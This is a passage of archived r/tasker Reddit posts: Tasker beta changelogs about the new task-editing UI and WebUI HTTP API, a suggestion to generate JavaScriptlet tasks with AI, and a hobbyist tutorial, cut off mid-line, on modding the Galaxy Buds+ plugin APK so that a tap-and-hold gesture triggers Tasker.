Another cool one is adding 3 editors, and having 2 of them on top of each other, and another longer one on the right. This allows you multi-editor task editing with the 2 vertical ones and then a birds-eye-view of the task in the longer one for example.

Multi-Select Actions, Border Radius, Specific Parameter Type Editors

Demo:

You now have the functionality of selecting multiple actions and then doing something with all of the selected actions, like deleting them, cloning them or toggling their enabled status for example.

You can even do multi-select in different editors simultaneously and the multi-select option will be applied in actions in all editors!

You can also change the border radius of on-screen elements, so if you don't like your UI to have curves, you're good to go! :)

Also, in the future, each different type of parameter in Tasker can have its own editor when you're editing an action. For example, you'll have a different editor for:

• Images
• Location
• Wifi Networks
• Bluetooth Devices

Each of these types of parameters will have its own type of UI which is specific to it.

For now you can see this in action for

• Images (very early still)
• Tasks
• Widgets

so if you edit any action where you can select one of these, it'll show you a specific editor that is appropriate for selecting that type of thing you're selecting.

My goal is to make it super easy to select any type of input!

Full Changelog

• Added new Set Device Effects action (not working for now; will only work when building Android 15 apps for the general public is possible)
• In new Tasker UI, allow to long-select option and delete/clone/toggle multiple actions at the same time. You can even long-select actions on different editors and the long-select option will be applied to all
• In new Tasker UI, added ability to edit conditions
• In new Tasker UI, added ability to easily select tasks and Tasker widgets in their respective actions
• In new Tasker UI, allow UI Tuner to set the border radius of on-screen elements
• In new Tasker UI, on narrow devices when using multiple editors, show them on top of each other instead of side by side
• When setting an immutable Task/Profile/Project variable, show an error instead of the action silently finishing in success
• Allow to continue after error in Arrays Merge action

Enjoy! 😎

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/Squidward_official on 2024-05-02 02:34:34.

---

I am ELATED to bring you this barely intelligible "tutorial" or whatchamacallit. But since this is such a niche issue, only relevant to an equally niche community, and I feel the urge to tell someone about this, allow me to provide some context (feel free to skip this. But it would mean a lot to me if you first understand my struggle and how much I worked my butt off for something as insignificant as this OvO):

______________________________

You may have caught me talking about this before but in case you don't know, let me tell you how much I enjoy customization. Sometimes, I get ideas on how to massively improve things through minimal changes. But these ideas will stick with me and bug me if can't actually realize them - like an itch that you can't scratch. For quite some time now, I've been craving more customizable touch controls for my Galaxy Buds+, and there are ways to achieve this with relative ease, but afaik you always have to cut some corners. For example, there already is an additional, unused touch control pattern coded into the Galaxy Buds and you can have Tasker react to it, therefore unlocking an infinitely customizable touch control. But it is necessary to read the system logcat and in order to reliably do so on current versions of Android, you either have to root your device or use the Tasker ADB Wifi method, which is suboptimal in many ways (thanks Google...). But I had an epiphany: What if we modify the accompanying Galaxy Buds+ Manager Plugin/ App instead?

That's what this is about. And the idea is really quite simple I think. Though, since this is so niche, I couldn't rely on anyone else but me to actually do this. However, I barely know how to program and I don't really know how to code, let alone modify pre existing apps! But I was determined because the goal just seems so close to reach. So for the past few days, I was like the monkey in the Infinite Monkey Theorem - smashing my keyboard, barely understanding what I am even doing, hoping I I would eventually get something (desperately).

It appears the theorem holds true, because today it actually happened - I effectively rerouted one of the "Tap and Hold" options to Tasker! But I only learned what I necessarily had to. I still don't know how to code, and it'll be difficult for me to explain things as I go over them. Which is why this is less of a tutorial and more like a protocol. I will try my best though!

______________________________

GAMEPLAN:

All I need is to modify the Galaxy Buds+ plugin (or whichever pair of Samsung earbuds you have) for the Wearables app so that Tasker can react to it whenever I tap and hold one of the earbuds. For this, I'm going to alter the code responsible for launching Spotify and replace it with a simple android intent, which then triggers an "Intent received" profile linked to whatever task I want. The choice to modify this specific part of the code is arbitrary - I myself simply found this code the easiest to locate - but unless you alter a different part of the code (the one responsible for launching Google Assistant/ Bixby, for example), you will need to have Spotify installed on your phone, even if you don't plan on using your custom task in conjunction with it. Just keep that in mind.

But modifying the app alone is not enough, as I've learned through hands on experience now, because you won't be able to install the plugin due to a difference in apk signatures between the modded plugin and the unmodded wearables app. So you need to sign a wearables apk with the same signature as your mod, and then install that. BUT, since this isn't convoluted enough already, Samsung doesn't allow you to use modified versions of these apps (using one will give you a notice that the device's firmware is altered and incompatible).

Luckily, other people – those who use the regular versions of these apps on different firmwares – have already provided solutions for this. These solutions need you to apply a quick fix to the wearables app, the desired plugin, but also the S-health app and some Accessory Service app, if you use them. Now, I've reached a point where I don't ask questions anymore, and I'm also like "don't fix it if it ain't broke" - I simply installed all four mods of those apps, even though I don't even use the other two. I'm not sure if this was necessary, and the S-health app doesn't work for me anymore either, but I honestly don't mind. Whether you install these last two mods too or don't is up to you and some experimentation. Although you will at least need to follow the aforementioned solutions for the wearables app and the plugin of choice.

Also, I strongly recommend you set up a WSL on your computer if it runs Windows.

______________________________

REQUIREMENTS:

(I will provide a small list of XDA posts, old Github projects and other Reddit posts that I used to do all this at the end. There you will not only find better explanations of what needs to be done, but also links to most of the required stuff)

• apk file of the Galaxy Wearables app
• apk file of the desired Galaxy Buds' Plugin for the Wearables app
• (apk file of the S-health app)
• (apk file for Samsung's Accessory Services App)
• A method to decompile, compile and sign apks: I suggest you install APK Easy Tool if you're on Windows due to simplicity and ease of use.
• The capability to run shell scripts originally made in Linux (run the command "wsl --install" in a windows terminal and follow instructions to easily and automatically istall a WSL. You can then open a WSL Terminal in any folder by typing "wsl" in the folder's directory in the file explorer, just like using "cmd". You might need this to run a patch file too, so make sure you can run "patch" command in WSL. Search for and install "GNU Patch", so that you can do that.)
• ADB setup recommended, specifically the platform and build tools

______________________________

PROTOCOL:

We begin by decompiling all the apks with APK Easy Tool. You now have a folder with the contents for each decompiled apk.

Go to each folder, open a WSL Terminal there and run dansimko's command line. This, as far as I understand it, allows the apps to work properly despite running on a different firmware (or despite being modded themselves and running on the usual stock firmware, in our case).

The other apps already are good-to-go as is, which means it is now time to actually mod the plugin.

Go back to the decompiled plugin's folder, and start looking for the CoreService.smali file (for me and the latest version of the Buds+ Plugin, the file was located in smali\com\samsung\accessory\hearablemgr\core\service). The Core service is what actually launches Spotify. If you intend on altering a different part of the code, or if you use a different plugin, I cannot guarantee this is what you will be looking for. You can learn how to locate the code of interest by reading u/bsf91 's modding tutorial. Pro tip: Perform the action that you want to have Tasker react to in the future and look at the logcat logs! For example, I used tap and hold to launch Spotify and, through the logcat, I found some bits of code, strings, logs and other stuff related to the launching of Spotify that I could search for in the code. I recommend you use this Tasker Task to quickly grab the logcat.

Once you've found the right .smali file and you've located the relevant code, you can go ahead and replace the old code with a simple android intent. You should probably study the code and the language first tho, at least for a bit so that you roughly know what you actually need to delete and what is essential to keep. I see no way around doing some studying here, but it probably won't take long. If you know someone proficient in smali that can guide you, great! If you don't, like me, you might want to consider using ChatGPT for assistance. I don't feel particularly comfortable using AI, nor do I want to wholeheartedly recommend it to other people, but it admittedly is a very powerful companion in these regards - you can literally just dump code or logs or error messages and ask "what is this, what does this mean, what does this do, what should I do now". You couldn't do that with your developer friends without it being awkward or you feeling feeling bad or annoying.

Just make sure whatever the code was originally designed to do, doesn't happen anymore. In my case, I simply removed the lines of code which used to send the intents that launched spotify. The relevant code here starts by defining a new intent-instance in a local registry. This is how you can identify it (or compare it to whatever you found in your logcat, if you want to modify something else other than the Spotify-part of the code):

new-instance v0, Landroid/content/Intent;
const-string v1, "com.spotify.music.features.spoton.ACTION_PLAY_SPOTIFY"
invoke-direct {v0, v1}, Landroid/content/Intent;->

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/Alert-Estimate on 2024-04-24 09:05:53.

---

How about just directly generating tasks in tasker using Ai that you can the Run using the JavaScriptlet function.

How did I achieve this? I feed the Ai model Tasker's javascript documentation then I give it an instruction to output the code in a certain format.

This means you can generate any combination of actions from the Tasker's javascript library and have them instantly assembled without having to know much about javascript.

Check it out on this video

I'll share the Taskerlink soon after making it run directly in the JavaScriptlet it should be easy so you'll see it soon if not today lol.

I have also asked the dev to implement this directly into tasker with new interface so hopefully he'll implement it soon.

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-04-23 11:05:34.

---

A new beta is out! This one is all about continuing to implement a new Tasker UI for the Edit Task screen.

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

New UI Features

Demo:

Inline Editing

Now, in the new UI, you'll be able to edit most of the parameters in your actions! And the best part is, you don't even need to leave the task edit screen to do it!

It looks like this:

As you can see, each of the fields is represented as a chip right there in the action and when you touch one of them, you can edit it like this:

Not all parameters are added right away (only required ones), but you can add any of the missing ones by using the Additional Parameter button at the bottom:

This helps with the clutter of actions that have a ton of parameters and keeps things tidy, only showing those parameters that really only need to be shown.

You may notice that each parameter has a type too symbolized by the little icon on its left, so you'll be able to easily differentiate between text, number or image parameters for example.

Each parameter can also be used in Text mode too! For example, you could input any checkbox parameter as text instead of simply using the checkbox, so you can make a checkbox enabled via a variable for example (as shown in the demo video).

Finally, each parameter can also have an expanded editor, where some help text for the parameter can be shown (like this ) and also a custom UI for selecting each type of parameter can be used (for example, to select images, you could see something like this: [this is POC, in the real UI you'll be able to select images from different sources, etc, like Tasker has now]).

Also very cool is the ability to simply change the value of a field and run the task right away with the play button to see the effects of your changes immediately! Makes task editing much less cumbersome!

UI Tuner

This is a new option that allows you to customize Tasker's UI in any way you like. For now, it has just a few options, including the option to show/hide action icons, show/hide/move numbers and set the size of action block (If, For) identation.

My plan is to add options for most things people seem to have different opinions on. For example, some people really like the action numbers, others think it's a waste of space. This way, everyone can be happy :)

If you think something else makes sense to be in the UI Tuner, let me know!

Multiple Simultaneous Editors

If you have the screen real estate available (for example, on a tablet), it would be a shame to waste it all on super wide actions with no added benefit... Enter Multiple Editors!

With the UI Tuner, you have the option to show multiple simultaneous editors which can show you different views of the same task!

For example, you could have Editor 1 showing you a collapsed view of your task so you can have a better overview over it, and then you could be editing an action at the start of your task in Editor 2 and another action at the end of the task in Editor 3!

Since you no longer need to leave the task edit screen to edit actions, it's super handy to be able to change things in multiple places at the same time and test them right away with the play button!

You can have up to 4 editors if you want, so if you have a tablet, give it a try! You can also use it on a phone, but it won't be as handy :)

Full Changelog

• Numerous New UI improvements/fixes/implementations like UI tuner, inline editing of parameters and multiple simultaneous editors
• Added blockProperties to WebUI action list so that you can correctly ident blocks like Ifs, Fors etc
• Added endpoint to get relevant variables to WebUI
• Fixed setting widget icon from a direct http URL
• Fixed issue where sometimes a task variable's value could be deleted if you ran a task in certain circumstances
• Fixed issue where sometimes a warning toast would show its text truncated

Enjoy! 😎

This is an automated archive made by the Lemmit Bot.

The original was posted on /r/tasker by /u/joaomgcd on 2024-04-10 17:03:09.

---

A new beta is out! This one has the potential to change how we interact with Tasker forever! 😁 I guess we'll see in time.

Sign up for the beta here.

If you don't want to wait for the Google Play update, get it right away here.

You can also get the updated app factory here.

If you want you can also check any previous releases here.

Tasker WebUI

Demo:

Tasker's Edit Task screen now has an HTTP API!

To enable it, switch to the new Tasker UI (Tasker > Menu > Preferences > UI > Enable New Tasker UI), edit a task, tap the menu button on the bottom left and enable it there!

This means that, optionally, while you're editing a task, Tasker creates some HTTP endpoints on your device that allow you to interact with the screen via network calls!

What this allows is for anyone to potentially create a web page with the BEST UI EVAAARR and edit a task via that!

Remember all those times people asked for this or that feature in the UI? Well, now you CAN ADD THEM YOURSELF! 😎👍

The HTTP API is still very early, but as you saw from the video, you can already do some very cool stuff with it! You can build a whole task at least! 😁

You also get a built-in web page where you can test all the API endpoints very easily. Just open the URL you get when you enable the feature to check it out!

I'm aware that documentation is still lacking here, but I'll add it in time, when things are more finalized. In the mean time you can check out the example page's source code to see how it works. Remember that the page needs to be running from your local file system for it to work. It won't work directly from the link above. Download the page to your PC for example, and run it from there.

Let me know what you think if you try out the API and please let me know what other endpoints could be added. Thanks!

I was also thinking of opening an official Github page for a crowd-sourced WebUI page where everyone could chime in and contribute with their code... What do you think?

EDIT: I've started a Github for this here:

Full Changelog

• Added Enable WebUI option in the new Tasker UI Edit Task screen. Enables WebUI HTTP API and Allows you to build your own Tasker Task Edit screens from any of your devices on the same network.
• Numerous changes and fixes in the new Tasker UI (still very much a WIP)
• Fixed %UIMODE when connecting to Android Auto
• Fixed Run Shell action not setting %err if it ended in error
• Fixed issue where Device Admin/Owner action was crashing in certain circumstances
• Fixed warning when trying to use the Mobile Data action if Tasker already has the WRITE_SECURE_SETTING permission
• Attempt at working around an issue with Samsung's OneUI 6.1 where a Tasker widget isn't shown
• Fixed issue where certain events/states didn't work with project/profile/task variables
• Fixed issue that sometimes project/profile/task variables would be cleared after exporting
• Fixed issue with creating home screen shortcuts where it sometimes said data was blocked
• Fixed issue where sometimes the OK button wouldn't appear on the very first page when opening Tasker for the very first time